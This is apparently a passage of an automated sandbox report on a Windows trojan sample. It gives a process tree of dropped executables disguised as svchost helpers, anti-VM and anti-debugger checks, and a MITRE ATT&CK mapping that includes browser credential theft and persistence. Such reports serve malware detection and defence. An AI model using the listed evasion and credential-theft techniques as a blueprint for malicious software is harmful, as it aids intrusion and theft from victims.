                                                                                                                                            PID:5732
                                                                                                                                            • C:\ProgramData\botoboto\mybotos.exe
                                                                                                                                              C:\ProgramData\botoboto\mybotos.exe {911DF8D7-FFA4-4EA7-91BA-20DE9278439A}
                                                                                                                                              3⤵
                                                                                                                                                PID:2744
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen31.59137.8223.21658.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen31.59137.8223.21658.exe
                                                                                                                                            1⤵
                                                                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                            PID:4568
                                                                                                                                            • C:\Windows\TEMP\svchostmanager.exe
                                                                                                                                              "C:\Windows\TEMP\svchostmanager.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:1844
                                                                                                                                            • C:\Windows\TEMP\svchostam.exe
                                                                                                                                              "C:\Windows\TEMP\svchostam.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1020
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 560
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:4956
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:3480
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4724
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 536
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:3232
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1500
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1500 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5364
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5452
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5484
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5616
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5580
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5672
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5672 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5692
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5968
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:6008
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5540
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5540 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:2148
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1584
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:4840
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:2404
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2404 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:1932
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5484
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5576
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5608
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5608 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5756
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5876
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5876 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5992
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5072
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:972
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1056
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:4904
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5804
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5804 -s 536
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:4424
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:6064
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 6064 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:4044
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:3168
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3168 -s 532
                                                                                                                                                3⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:3164
                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                              2⤵
                                                                                                                                                PID:4092
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4092 -s 532
                                                                                                                                                  3⤵
                                                                                                                                                  • Program crash
                                                                                                                                                  PID:1524
                                                                                                                                              • C:\Windows\svchosthelper.exe
                                                                                                                                                "C:\Windows\svchosthelper.exe"
                                                                                                                                                2⤵
                                                                                                                                                  PID:1156
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1156 -s 532
                                                                                                                                                    3⤵
                                                                                                                                                    • Program crash
                                                                                                                                                    PID:924
                                                                                                                                                • C:\Windows\svchosthelper.exe
                                                                                                                                                  "C:\Windows\svchosthelper.exe"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3132
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3132 -s 532
                                                                                                                                                      3⤵
                                                                                                                                                      • Program crash
                                                                                                                                                      PID:3844
                                                                                                                                                  • C:\Windows\svchosthelper.exe
                                                                                                                                                    "C:\Windows\svchosthelper.exe"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4564
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 532
                                                                                                                                                        3⤵
                                                                                                                                                        • Program crash
                                                                                                                                                        PID:568
                                                                                                                                                    • C:\Windows\svchosthelper.exe
                                                                                                                                                      "C:\Windows\svchosthelper.exe"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:6120
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6120 -s 532
                                                                                                                                                          3⤵
                                                                                                                                                          • Program crash
                                                                                                                                                          PID:5172
                                                                                                                                                      • C:\Windows\svchosthelper.exe
                                                                                                                                                        "C:\Windows\svchosthelper.exe"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:2708
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2708 -s 532
                                                                                                                                                            3⤵
                                                                                                                                                            • Program crash
                                                                                                                                                            PID:4524
                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4832
                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4832 -s 536
                                                                                                                                                              3⤵
                                                                                                                                                              • Program crash
                                                                                                                                                              PID:2268
                                                                                                                                                          • C:\Windows\svchosthelper.exe
                                                                                                                                                            "C:\Windows\svchosthelper.exe"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5384
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5384 -s 532
                                                                                                                                                                3⤵
                                                                                                                                                                • Program crash
                                                                                                                                                                PID:5484
                                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3148
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3148 -s 532
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Program crash
                                                                                                                                                                  PID:5620
                                                                                                                                                              • C:\Windows\svchosthelper.exe
                                                                                                                                                                "C:\Windows\svchosthelper.exe"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4724
                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 540
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Program crash
                                                                                                                                                                    PID:3120
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1020 -ip 1020
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:5060
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4724 -ip 4724
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3332
                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1500 -ip 1500
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:5324
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5452 -ip 5452
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:2836
                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 5616 -ip 5616
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:5600
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5672 -ip 5672
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:6116
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5968 -ip 5968
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5984
                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5540 -ip 5540
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:676
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1584 -ip 1584
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:4700
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2404 -ip 2404
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:6032
                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:2456
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5484 -ip 5484
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:5496
                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5608 -ip 5608
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:5684
                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5876 -ip 5876
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:5740
                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5072 -ip 5072
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:5708
                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1056 -ip 1056
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:4988
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:5676
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5804 -ip 5804
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:5780
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 6064 -ip 6064
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:5272
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8f875d68fb\Yomeijce.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\8f875d68fb\Yomeijce.exe
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:2952
                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3168 -ip 3168
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:6052
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4092 -ip 4092
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:6032
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1156 -ip 1156
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:2940
                                                                                                                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                            C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                            • Enumerates connected drives
                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:2208
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Mackintosh\CelerityModule32.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Mackintosh\CelerityModule32.exe"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                              PID:3528
                                                                                                                                                                                                              • C:\ProgramData\drivermakeTU\CelerityModule32.exe
                                                                                                                                                                                                                C:\ProgramData\drivermakeTU\CelerityModule32.exe
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                PID:4700
                                                                                                                                                                                                                • C:\Users\Admin\DeltaOrchestr.exe
                                                                                                                                                                                                                  C:\Users\Admin\DeltaOrchestr.exe
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  PID:3416
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\drivermakeTU\XPFix.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\drivermakeTU\XPFix.exe" "C:\Users\Admin\AppData\Roaming\drivermakeTU\XPFix.exe" /u
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:3364
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3132 -ip 3132
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:3696
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4564 -ip 4564
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:972
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 6120 -ip 6120
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:5840
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2708 -ip 2708
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:5620
                                                                                                                                                                                                                    • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                      C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:5272
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4832 -ip 4832
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:3008
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5384 -ip 5384
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:3176
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:4452
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3148 -ip 3148
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:4060
                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:4764
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4724 -ip 4724
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:4580

                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                                                        Execution

                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                        Scheduled Task

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053.005

                                                                                                                                                                                                                                        System Services

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1569

                                                                                                                                                                                                                                        Service Execution

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1569.002

                                                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                        Modify Authentication Process

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1556

                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                        Scheduled Task

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053.005

                                                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                        Scheduled Task/Job

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053

                                                                                                                                                                                                                                        Scheduled Task

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1053.005

                                                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                                                        Impair Defenses

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1562

                                                                                                                                                                                                                                        Modify Authentication Process

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1556

                                                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1112

                                                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1497

                                                                                                                                                                                                                                        Credential Access

                                                                                                                                                                                                                                        Credentials from Password Stores

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1555

                                                                                                                                                                                                                                        Credentials from Web Browsers

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1555.003

                                                                                                                                                                                                                                        Modify Authentication Process

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1556

                                                                                                                                                                                                                                        Steal Web Session Cookie

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1539

                                                                                                                                                                                                                                        Unsecured Credentials

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1552

                                                                                                                                                                                                                                        Credentials In Files

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1552.001

                                                                                                                                                                                                                                        Credentials in Registry

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1552.002

                                                                                                                                                                                                                                        Discovery

                                                                                                                                                                                                                                        Browser Information Discovery

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1217

                                                                                                                                                                                                                                        Peripheral Device Discovery

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1120

                                                                                                                                                                                                                                        Process Discovery

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1057

                                                                                                                                                                                                                                        Query Registry

                                                                                                                                                                                                                                        7
                                                                                                                                                                                                                                        T1012

                                                                                                                                                                                                                                        System Information Discovery

                                                                                                                                                                                                                                        6
                                                                                                                                                                                                                                        T1082

                                                                                                                                                                                                                                        System Location Discovery

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1614

                                                                                                                                                                                                                                        System Language Discovery

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1614.001

                                                                                                                                                                                                                                        Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1497

                                                                                                                                                                                                                                        Lateral Movement

                                                                                                                                                                                                                                        Collection

                                                                                                                                                                                                                                        Data from Local System

                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                        T1005

                                                                                                                                                                                                                                        Email Collection

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1114

                                                                                                                                                                                                                                        Command and Control

                                                                                                                                                                                                                                        Web Service

                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                        T1102

                                                                                                                                                                                                                                        Exfiltration

                                                                                                                                                                                                                                        Impact

                                                                                                                                                                                                                                        Service Stop

                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                        T1489

                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                        e593e79.rbs
